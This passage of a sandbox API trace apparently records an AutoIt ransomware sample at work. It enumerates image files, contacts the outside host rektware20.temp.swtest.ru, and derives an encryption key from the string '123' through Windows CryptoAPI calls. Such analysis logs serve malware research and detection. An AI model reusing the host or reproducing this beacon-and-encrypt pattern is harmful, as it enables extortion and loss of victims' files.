cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jy f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BAAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AAhg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ahg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hg6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ks4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="086v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="86v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.179] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.179] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.179] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.179] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.179] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.179] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.179] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.179] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.179] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c) returned 1 [0061.179] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.179] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.179] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.180] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.180] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.180] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.180] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.181] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.181] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.182] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.182] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.182] CloseHandle (hObject=0x0) returned 0 [0061.182] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.182] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\BAAhg6Ks4J086v.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.182] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.182] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.182] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.182] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.182] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.182] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.182] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.182] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.183] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.183] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.183] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.183] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.183] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.183] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.183] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.183] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.183] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.183] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.184] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.184] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.184] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa890) returned 1 [0061.185] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.186] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.186] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.186] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.186] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.186] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.186] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.187] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.187] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.187] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.187] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.187] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.187] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.187] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.187] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.187] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.187] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.187] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.188] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.201] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.201] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.201] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.201] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.201] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.202] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.202] CryptCreateHash (in: hProv=0x17aa890, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.210] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.210] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.210] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.211] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.221] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.221] CryptHashData (hHash=0x164c6b0, pbData=0x16293d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.221] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.221] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.221] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.221] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.221] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.221] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.221] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.221] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.221] WideCharToMultiByte (in: CodePage=0x0, 